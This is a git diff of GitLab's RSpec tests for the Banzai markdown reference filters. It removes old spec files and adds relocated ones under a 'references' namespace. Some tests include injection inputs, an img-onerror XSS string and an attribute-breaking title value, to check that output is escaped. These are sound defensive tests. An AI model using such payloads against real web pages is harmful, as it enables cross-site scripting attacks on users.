- invalidate_commit_reference =
- urls.project_merge_request_url(mr.project, mr) + "/diffs?commit_id=12345678"
- doc = reference_filter("See #{invalidate_commit_reference}")
-
- expect(doc.text).to eq("See #{mr.to_reference(full: true)} (diffs)")
- end
- end
-
- context 'cross-project URL reference' do
- let(:namespace) { create(:namespace, name: 'cross-reference') }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:merge) { create(:merge_request, source_project: project2, target_project: project2) }
- let(:reference) { urls.project_merge_request_url(project2, merge) + '/diffs#note_123' }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq reference
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Merge (#{reference}.)")
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(merge.to_reference(project))} \(diffs, comment 123\)</a>\.\)})
- end
- end
-
- context 'group context' do
- it 'links to a valid reference' do
- reference = "#{project.full_path}!#{merge.iid}"
-
- result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.project_merge_request_url(project, merge))
- end
- end
-end
diff --git a/spec/lib/banzai/filter/milestone_reference_filter_spec.rb b/spec/lib/banzai/filter/milestone_reference_filter_spec.rb
deleted file mode 100644
index 276fa7952be..00000000000
--- a/spec/lib/banzai/filter/milestone_reference_filter_spec.rb
+++ /dev/null
@@ -1,463 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::MilestoneReferenceFilter do
- include FilterSpecHelper
-
- let_it_be(:parent_group) { create(:group, :public) }
- let_it_be(:group) { create(:group, :public, parent: parent_group) }
- let_it_be(:project) { create(:project, :public, group: group) }
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:another_project) { create(:project, :public, namespace: namespace) }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- shared_examples 'reference parsing' do
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>milestone #{reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- it 'includes default classes' do
- doc = reference_filter("Milestone #{reference}")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-milestone has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Milestone #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-milestone attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-milestone')
- expect(link.attr('data-milestone')).to eq milestone.id.to_s
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Milestone #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.milestone_path(milestone)
- end
- end
-
- shared_examples 'Integer-based references' do
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Milestone (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
- end
-
- it 'ignores invalid milestone IIDs' do
- exp = act = "Milestone #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- shared_examples 'String-based single-word references' do
- let(:reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
-
- before do
- milestone.update!(name: 'gfm')
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
- expect(doc.text).to eq "See #{milestone.reference_link_text}"
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Milestone (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
- end
-
- it 'ignores invalid milestone names' do
- exp = act = "Milestone #{Milestone.reference_prefix}#{milestone.name.reverse}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- shared_examples 'String-based multi-word references in quotes' do
- let(:reference) { milestone.to_reference(format: :name) }
-
- before do
- milestone.update!(name: 'gfm references')
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
- expect(doc.text).to eq "See #{milestone.reference_link_text}"
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Milestone (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<a.+>#{milestone.reference_link_text}</a>\.\)))
- end
-
- it 'ignores invalid milestone names' do
- exp = act = %(Milestone #{Milestone.reference_prefix}"#{milestone.name.reverse}")
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- shared_examples 'referencing a milestone in a link href' do
- let(:unquoted_reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
- let(:link_reference) { %Q{<a href="#{unquoted_reference}">Milestone</a>} }
-
- before do
- milestone.update!(name: 'gfm')
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{link_reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Milestone (#{link_reference}.)")
- expect(doc.to_html).to match(%r(\(<a.+>Milestone</a>\.\)))
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Milestone #{link_reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-milestone attribute' do
- doc = reference_filter("See #{link_reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-milestone')
- expect(link.attr('data-milestone')).to eq milestone.id.to_s
- end
- end
-
- shared_examples 'linking to a milestone as the entire link' do
- let(:unquoted_reference) { "#{Milestone.reference_prefix}#{milestone.name}" }
- let(:link) { urls.milestone_url(milestone) }
- let(:link_reference) { %Q{<a href="#{link}">#{link}</a>} }
-
- it 'replaces the link text with the milestone reference' do
- doc = reference_filter("See #{link}")
-
- expect(doc.css('a').first.text).to eq(unquoted_reference)
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Milestone #{link_reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-milestone attribute' do
- doc = reference_filter("See #{link_reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-milestone')
- expect(link.attr('data-milestone')).to eq milestone.id.to_s
- end
- end
-
- shared_examples 'cross-project / cross-namespace complete reference' do
- let_it_be(:milestone) { create(:milestone, project: another_project) }
- let(:reference) { "#{another_project.full_path}%#{milestone.iid}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'points to referenced project milestone page' do
- expect(result.css('a').first.attr('href')).to eq urls
- .project_milestone_url(another_project, milestone)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eq("#{milestone.reference_link_text} in #{another_project.full_path}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text)
- .to eq("See (#{milestone.reference_link_text} in #{another_project.full_path}.)")
- end
-
- it 'escapes the name attribute' do
- allow_next_instance_of(Milestone) do |instance|
- allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
- end
-
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.text)
- .to eq "#{milestone.reference_link_text} in #{another_project.full_path}"
- end
- end
-
- shared_examples 'cross-project / same-namespace complete reference' do
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:milestone) { create(:milestone, project: another_project) }
- let(:reference) { "#{another_project.full_path}%#{milestone.iid}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'points to referenced project milestone page' do
- expect(result.css('a').first.attr('href')).to eq urls
- .project_milestone_url(another_project, milestone)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eq("#{milestone.reference_link_text} in #{another_project.path}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text)
- .to eq("See (#{milestone.reference_link_text} in #{another_project.path}.)")
- end
-
- it 'escapes the name attribute' do
- allow_next_instance_of(Milestone) do |instance|
- allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
- end
-
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.text)
- .to eq "#{milestone.reference_link_text} in #{another_project.path}"
- end
- end
-
- shared_examples 'cross project shorthand reference' do
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:milestone) { create(:milestone, project: another_project) }
- let(:reference) { "#{another_project.path}%#{milestone.iid}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'points to referenced project milestone page' do
- expect(result.css('a').first.attr('href')).to eq urls
- .project_milestone_url(another_project, milestone)
- end
-
- it 'link has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text)
- .to eq("#{milestone.reference_link_text} in #{another_project.path}")
- end
-
- it 'has valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text)
- .to eq("See (#{milestone.reference_link_text} in #{another_project.path}.)")
- end
-
- it 'escapes the name attribute' do
- allow_next_instance_of(Milestone) do |instance|
- allow(instance).to receive(:title).and_return(%{"></a>whatever<a title="})
- end
-
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.text)
- .to eq "#{milestone.reference_link_text} in #{another_project.path}"
- end
- end
-
- shared_examples 'references with HTML entities' do
- before do
- milestone.update!(title: '&lt;html&gt;')
- end
-
- it 'links to a valid reference' do
- doc = reference_filter('See %"&lt;html&gt;"')
-
- expect(doc.css('a').first.attr('href')).to eq urls.milestone_url(milestone)
- expect(doc.text).to eq 'See %<html>'
- end
-
- it 'ignores invalid milestone names and escapes entities' do
- act = %(Milestone %"&lt;non valid&gt;")
-
- expect(reference_filter(act).to_html).to eq act
- end
- end
-
- shared_context 'project milestones' do
- let(:reference) { milestone.to_reference(format: :iid) }
-
- include_examples 'reference parsing'
-
- it_behaves_like 'Integer-based references'
- it_behaves_like 'String-based single-word references'
- it_behaves_like 'String-based multi-word references in quotes'
- it_behaves_like 'referencing a milestone in a link href'
- it_behaves_like 'cross-project / cross-namespace complete reference'
- it_behaves_like 'cross-project / same-namespace complete reference'
- it_behaves_like 'cross project shorthand reference'
- it_behaves_like 'references with HTML entities'
- it_behaves_like 'HTML text with references' do
- let(:resource) { milestone }
- let(:resource_text) { "#{resource.class.reference_prefix}#{resource.title}" }
- end
- end
-
- shared_context 'group milestones' do
- let(:reference) { milestone.to_reference(format: :name) }
-
- include_examples 'reference parsing'
-
- it_behaves_like 'String-based single-word references'
- it_behaves_like 'String-based multi-word references in quotes'
- it_behaves_like 'referencing a milestone in a link href'
- it_behaves_like 'references with HTML entities'
- it_behaves_like 'HTML text with references' do
- let(:resource) { milestone }
- let(:resource_text) { "#{resource.class.reference_prefix}#{resource.title}" }
- end
-
- it 'does not support references by IID' do
- doc = reference_filter("See #{Milestone.reference_prefix}#{milestone.iid}")
-
- expect(doc.css('a')).to be_empty
- end
-
- it 'does not support references by link' do
- doc = reference_filter("See #{urls.milestone_url(milestone)}")
-
- expect(doc.css('a').first.text).to eq(urls.milestone_url(milestone))
- end
-
- it 'does not support cross-project references', :aggregate_failures do
- another_group = create(:group)
- another_project = create(:project, :public, group: group)
- project_reference = another_project.to_reference_base(project)
- input_text = "See #{project_reference}#{reference}"
-
- milestone.update!(group: another_group)
-
- doc = reference_filter(input_text)
-
- expect(input_text).to match(Milestone.reference_pattern)
- expect(doc.css('a')).to be_empty
- end
-
- it 'supports parent group references' do
- milestone.update!(group: parent_group)
-
- doc = reference_filter("See #{reference}")
- expect(doc.css('a').first.text).to eq(milestone.reference_link_text)
- end
- end
-
- context 'group context' do
- let(:group) { create(:group) }
- let(:context) { { project: nil, group: group } }
-
- context 'when project milestone' do
- let(:milestone) { create(:milestone, project: project) }
-
- it 'links to a valid reference' do
- reference = "#{project.full_path}%#{milestone.iid}"
-
- result = reference_filter("See #{reference}", context)
-
- expect(result.css('a').first.attr('href')).to eq(urls.milestone_url(milestone))
- end
-
- it 'ignores internal references' do
- exp = act = "See %#{milestone.iid}"
-
- expect(reference_filter(act, context).to_html).to eq exp
- end
- end
-
- context 'when group milestone' do
- let(:group_milestone) { create(:milestone, title: 'group_milestone', group: group) }
-
- context 'for subgroups' do
- let(:sub_group) { create(:group, parent: group) }
- let(:sub_group_milestone) { create(:milestone, title: 'sub_group_milestone', group: sub_group) }
-
- it 'links to a valid reference of subgroup and group milestones' do
- [group_milestone, sub_group_milestone].each do |milestone|
- reference = "%#{milestone.title}"
-
- result = reference_filter("See #{reference}", { project: nil, group: sub_group })
-
- expect(result.css('a').first.attr('href')).to eq(urls.milestone_url(milestone))
- end
- end
- end
-
- it 'ignores internal references' do
- exp = act = "See %#{group_milestone.iid}"
-
- expect(reference_filter(act, context).to_html).to eq exp
- end
- end
- end
-
- context 'when milestone is open' do
- context 'project milestones' do
- let_it_be_with_reload(:milestone) { create(:milestone, project: project) }
-
- include_context 'project milestones'
- end
-
- context 'group milestones' do
- let_it_be_with_reload(:milestone) { create(:milestone, group: group) }
-
- include_context 'group milestones'
- end
- end
-
- context 'when milestone is closed' do
- context 'project milestones' do
- let_it_be_with_reload(:milestone) { create(:milestone, :closed, project: project) }
-
- include_context 'project milestones'
- end
-
- context 'group milestones' do
- let_it_be_with_reload(:milestone) { create(:milestone, :closed, group: group) }
-
- include_context 'group milestones'
- end
- end
-end
diff --git a/spec/lib/banzai/filter/project_reference_filter_spec.rb b/spec/lib/banzai/filter/project_reference_filter_spec.rb
deleted file mode 100644
index ac7a90a5893..00000000000
--- a/spec/lib/banzai/filter/project_reference_filter_spec.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::ProjectReferenceFilter do
- include FilterSpecHelper
-
- def invalidate_reference(reference)
- "#{reference.reverse}"
- end
-
- def get_reference(project)
- project.to_reference
- end
-
- let(:project) { create(:project, :public) }
- subject { project }
-
- let(:subject_name) { "project" }
- let(:reference) { get_reference(project) }
-
- it_behaves_like 'user reference or project reference'
-
- it 'ignores invalid projects' do
- exp = act = "Hey #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq(CGI.escapeHTML(exp))
- end
-
- context 'when invalid reference strings are very long' do
- shared_examples_for 'fails fast' do |ref_string|
- it 'fails fast for long strings' do
- # took well under 1 second in CI https://dev.gitlab.org/gitlab/gitlabhq/merge_requests/3267#note_172824
- expect do
- Timeout.timeout(3.seconds) { reference_filter(ref_string).to_html }
- end.not_to raise_error
- end
- end
-
- it_behaves_like 'fails fast', 'A' * 50000
- it_behaves_like 'fails fast', '/a' * 50000
- end
-
- it 'allows references with text after the > character' do
- doc = reference_filter("Hey #{reference}foo")
- expect(doc.css('a').first.attr('href')).to eq urls.project_url(subject)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Hey #{CGI.escapeHTML(reference)}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- it 'includes default classes' do
- doc = reference_filter("Hey #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-project has-tooltip'
- end
-
- context 'in group context' do
- let(:group) { create(:group) }
- let(:project) { create(:project, group: group) }
-
- let(:nested_group) { create(:group, :nested) }
- let(:nested_project) { create(:project, group: nested_group) }
-
- it 'supports mentioning a project' do
- reference = get_reference(project)
- doc = reference_filter("Hey #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.project_url(project)
- end
-
- it 'supports mentioning a project in a nested group' do
- reference = get_reference(nested_project)
- doc = reference_filter("Hey #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.project_url(nested_project)
- end
- end
-
- describe '#projects_hash' do
- it 'returns a Hash containing all Projects' do
- document = Nokogiri::HTML.fragment("<p>#{get_reference(project)}</p>")
- filter = described_class.new(document, project: project)
-
- expect(filter.projects_hash).to eq({ project.full_path => project })
- end
- end
-
- describe '#projects' do
- it 'returns the projects mentioned in a document' do
- document = Nokogiri::HTML.fragment("<p>#{get_reference(project)}</p>")
- filter = described_class.new(document, project: project)
-
- expect(filter.projects).to eq([project.full_path])
- end
- end
-end
diff --git a/spec/lib/banzai/filter/reference_filter_spec.rb b/spec/lib/banzai/filter/reference_filter_spec.rb
deleted file mode 100644
index 2888965dbc4..00000000000
--- a/spec/lib/banzai/filter/reference_filter_spec.rb
+++ /dev/null
@@ -1,224 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::ReferenceFilter do
- let(:project) { build_stubbed(:project) }
-
- describe '#each_node' do
- it 'iterates over the nodes in a document' do
- document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
- filter = described_class.new(document, project: project)
-
- expect { |b| filter.each_node(&b) }
- .to yield_with_args(an_instance_of(Nokogiri::XML::Element))
- end
-
- it 'returns an Enumerator when no block is given' do
- document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
- filter = described_class.new(document, project: project)
-
- expect(filter.each_node).to be_an_instance_of(Enumerator)
- end
-
- it 'skips links with a "gfm" class' do
- document = Nokogiri::HTML.fragment('<a href="foo" class="gfm">foo</a>')
- filter = described_class.new(document, project: project)
-
- expect { |b| filter.each_node(&b) }.not_to yield_control
- end
-
- it 'skips text nodes in pre elements' do
- document = Nokogiri::HTML.fragment('<pre>foo</pre>')
- filter = described_class.new(document, project: project)
-
- expect { |b| filter.each_node(&b) }.not_to yield_control
- end
- end
-
- describe '#nodes' do
- it 'returns an Array of the HTML nodes' do
- document = Nokogiri::HTML.fragment('<a href="foo">foo</a>')
- filter = described_class.new(document, project: project)
-
- expect(filter.nodes).to eq([document.children[0]])
- end
- end
-
- RSpec.shared_context 'document nodes' do
- let(:document) { Nokogiri::HTML.fragment('<p data-sourcepos="1:1-1:18"></p>') }
- let(:nodes) { [] }
- let(:filter) { described_class.new(document, project: project) }
- let(:ref_pattern) { nil }
- let(:href_link) { nil }
-
- before do
- nodes.each do |node|
- document.children.first.add_child(node)
- end
- end
- end
-
- RSpec.shared_context 'new nodes' do
- let(:nodes) { [{ value: "1" }, { value: "2" }, { value: "3" }] }
- let(:expected_nodes) { [{ value: "1.1" }, { value: "1.2" }, { value: "1.3" }, { value: "2.1" }, { value: "2.2" }, { value: "2.3" }, { value: "3.1" }, { value: "3.2" }, { value: "3.3" }] }
- let(:new_nodes) do
- {
- 0 => [{ value: "1.1" }, { value: "1.2" }, { value: "1.3" }],
- 2 => [{ value: "3.1" }, { value: "3.2" }, { value: "3.3" }],
- 1 => [{ value: "2.1" }, { value: "2.2" }, { value: "2.3" }]
- }
- end
- end
-
- RSpec.shared_examples 'replaces text' do |method_name, index|
- let(:args) { [filter.nodes[index], index, ref_pattern || href_link].compact }
-
- context 'when content didnt change' do
- it 'does not replace link node with html' do
- filter.send(method_name, *args) do
- existing_content
- end
-
- expect(filter).not_to receive(:replace_text_with_html)
- end
- end
-
- context 'when link node has changed' do
- let(:html) { %(text <a href="reference_url" class="gfm gfm-user" title="reference">Reference</a>) }
-
- it 'replaces reference node' do
- filter.send(method_name, *args) do
- html
- end
-
- expect(document.css('a').length).to eq 1
- end
-
- it 'calls replace_and_update_new_nodes' do
- expect(filter).to receive(:replace_and_update_new_nodes).with(filter.nodes[index], index, html)
-
- filter.send(method_name, *args) do
- html
- end
- end
-
- it 'stores filtered new nodes' do
- filter.send(method_name, *args) do
- html
- end
-
- expect(filter.instance_variable_get(:@new_nodes)).to eq({ index => [filter.each_node.to_a[index]] })
- end
- end
- end
-
- RSpec.shared_examples 'replaces document node' do |method_name|
- context 'when parent has only one node' do
- let(:nodes) { [node] }
-
- it_behaves_like 'replaces text', method_name, 0
- end
-
- context 'when parent has multiple nodes' do
- let(:node1) { Nokogiri::HTML.fragment('<span>span text</span>') }
- let(:node2) { Nokogiri::HTML.fragment('<span>text</span>') }
-
- context 'when pattern matches in the first node' do
- let(:nodes) { [node, node1, node2] }
-
- it_behaves_like 'replaces text', method_name, 0
- end
-
- context 'when pattern matches in the middle node' do
- let(:nodes) { [node1, node, node2] }
-
- it_behaves_like 'replaces text', method_name, 1
- end
-
- context 'when pattern matches in the last node' do
- let(:nodes) { [node1, node2, node] }
-
- it_behaves_like 'replaces text', method_name, 2
- end
- end
- end
-
- describe '#replace_text_when_pattern_matches' do
- include_context 'document nodes'
- let(:node) { Nokogiri::HTML.fragment('text @reference') }
-
- let(:ref_pattern) { %r{(?<!\w)@(?<user>[a-zA-Z0-9_\-\.]*)}x }
-
- context 'when node has no reference pattern' do
- let(:node) { Nokogiri::HTML.fragment('random text') }
- let(:nodes) { [node] }
-
- it 'skips node' do
- expect { |b| filter.replace_text_when_pattern_matches(filter.nodes[0], 0, ref_pattern, &b) }.not_to yield_control
- end
- end
-
- it_behaves_like 'replaces document node', :replace_text_when_pattern_matches do
- let(:existing_content) { node.to_html }
- end
- end
-
- describe '#replace_link_node_with_text' do
- include_context 'document nodes'
- let(:node) { Nokogiri::HTML.fragment('<a>end text</a>') }
-
- it_behaves_like 'replaces document node', :replace_link_node_with_text do
- let(:existing_content) { node.text }
- end
- end
-
- describe '#replace_link_node_with_href' do
- include_context 'document nodes'
- let(:node) { Nokogiri::HTML.fragment('<a href="link">end text</a>') }
- let(:href_link) { CGI.unescape(node.attr('href').to_s) }
-
- it_behaves_like 'replaces document node', :replace_link_node_with_href do
- let(:existing_content) { href_link }
- end
- end
-
- describe "#call_and_update_nodes" do
- include_context 'new nodes'
- let(:document) { Nokogiri::HTML.fragment('<a href="foo">foo</a>') }
- let(:filter) { described_class.new(document, project: project) }
-
- it "updates all new nodes", :aggregate_failures do
- filter.instance_variable_set('@nodes', nodes)
-
- expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
- expect(filter).to receive(:with_update_nodes).and_call_original
- expect(filter).to receive(:update_nodes!).and_call_original
-
- filter.call_and_update_nodes
-
- expect(filter.result[:reference_filter_nodes]).to eq(expected_nodes)
- end
- end
-
- describe ".call" do
- include_context 'new nodes'
-
- let(:document) { Nokogiri::HTML.fragment('<a href="foo">foo</a>') }
-
- let(:result) { { reference_filter_nodes: nodes } }
-
- it "updates all nodes", :aggregate_failures do
- expect_next_instance_of(described_class) do |filter|
- expect(filter).to receive(:call_and_update_nodes).and_call_original
- expect(filter).to receive(:with_update_nodes).and_call_original
- expect(filter).to receive(:call) { filter.instance_variable_set('@new_nodes', new_nodes) }
- expect(filter).to receive(:update_nodes!).and_call_original
- end
-
- described_class.call(document, { project: project }, result)
-
- expect(result[:reference_filter_nodes]).to eq(expected_nodes)
- end
- end
-end
diff --git a/spec/lib/banzai/filter/references/abstract_reference_filter_spec.rb b/spec/lib/banzai/filter/references/abstract_reference_filter_spec.rb
new file mode 100644
index 00000000000..076c112ac87
--- /dev/null
+++ b/spec/lib/banzai/filter/references/abstract_reference_filter_spec.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::AbstractReferenceFilter do
+ let_it_be(:project) { create(:project) }
+
+ let(:doc) { Nokogiri::HTML.fragment('') }
+ let(:filter) { described_class.new(doc, project: project) }
+
+ describe '#references_per_parent' do
+ let(:doc) { Nokogiri::HTML.fragment("#1 #{project.full_path}#2 #2") }
+
+ it 'returns a Hash containing references grouped per parent paths' do
+ expect(described_class).to receive(:object_class).exactly(6).times.and_return(Issue)
+
+ refs = filter.references_per_parent
+
+ expect(refs).to match(a_hash_including(project.full_path => contain_exactly(1, 2)))
+ end
+ end
+
+ describe '#data_attributes_for' do
+ let_it_be(:issue) { create(:issue, project: project) }
+
+ it 'is not an XSS vector' do
+ allow(described_class).to receive(:object_class).and_return(Issue)
+
+ data_attributes = filter.data_attributes_for('xss &lt;img onerror=alert(1) src=x&gt;', project, issue, link_content: true)
+
+ expect(data_attributes[:original]).to eq('xss &amp;lt;img onerror=alert(1) src=x&amp;gt;')
+ end
+ end
+
+ describe '#parent_per_reference' do
+ it 'returns a Hash containing projects grouped per parent paths' do
+ expect(filter).to receive(:references_per_parent)
+ .and_return({ project.full_path => Set.new([1]) })
+
+ expect(filter.parent_per_reference)
+ .to eq({ project.full_path => project })
+ end
+ end
+
+ describe '#find_for_paths' do
+ context 'with RequestStore disabled' do
+ it 'returns a list of Projects for a list of paths' do
+ expect(filter.find_for_paths([project.full_path]))
+ .to eq([project])
+ end
+
+ it "return an empty array for paths that don't exist" do
+ expect(filter.find_for_paths(['nonexistent/project']))
+ .to eq([])
+ end
+ end
+
+ context 'with RequestStore enabled', :request_store do
+ it 'returns a list of Projects for a list of paths' do
+ expect(filter.find_for_paths([project.full_path]))
+ .to eq([project])
+ end
+
+ context "when no project with that path exists" do
+ it "returns no value" do
+ expect(filter.find_for_paths(['nonexistent/project']))
+ .to eq([])
+ end
+
+ it "adds the ref to the project refs cache" do
+ project_refs_cache = {}
+ allow(filter).to receive(:refs_cache).and_return(project_refs_cache)
+
+ filter.find_for_paths(['nonexistent/project'])
+
+ expect(project_refs_cache).to eq({ 'nonexistent/project' => nil })
+ end
+
+ context 'when the project refs cache includes nil values' do
+ before do
+ # adds { 'nonexistent/project' => nil } to cache
+ filter.from_ref_cached('nonexistent/project')
+ end
+
+ it "return an empty array for paths that don't exist" do
+ expect(filter.find_for_paths(['nonexistent/project']))
+ .to eq([])
+ end
+ end
+ end
+ end
+ end
+
+ describe '#current_parent_path' do
+ it 'returns the path of the current parent' do
+ doc = Nokogiri::HTML.fragment('')
+ filter = described_class.new(doc, project: project)
+
+ expect(filter.current_parent_path).to eq(project.full_path)
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/alert_reference_filter_spec.rb b/spec/lib/banzai/filter/references/alert_reference_filter_spec.rb
new file mode 100644
index 00000000000..7c6b0cac24b
--- /dev/null
+++ b/spec/lib/banzai/filter/references/alert_reference_filter_spec.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::AlertReferenceFilter do
+ include FilterSpecHelper
+
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project) }
+ let_it_be(:reference) { alert.to_reference }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Alert #{reference}</#{elem}>"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'internal reference' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Alert (#{reference}.)")
+
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
+ end
+
+ it 'ignores invalid alert IDs' do
+ exp = act = "Alert #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'includes a title attribute' do
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.css('a').first.attr('title')).to eq alert.title
+ end
+
+ it 'escapes the title attribute' do
+ allow(alert).to receive(:title).and_return(%{"></a>whatever<a title="})
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.text).to eq "Alert #{reference}"
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Alert #{reference}")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-alert has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Alert #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-alert attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-alert')
+ expect(link.attr('data-alert')).to eq alert.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Alert #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.details_project_alert_management_url(project, alert.iid, only_path: true)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project2) { create(:project, :public, namespace: namespace) }
+ let_it_be(:alert) { create(:alert_management_alert, project: project2) }
+ let_it_be(:reference) { "#{project2.full_path}^alert##{alert.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq alert.details_url
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eql(reference)
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See (#{reference}.)")
+
+ expect(doc.text).to eql("See (#{reference}.)")
+ end
+
+ it 'ignores invalid alert IDs on the referenced project' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) { create(:project, :public, namespace: namespace) }
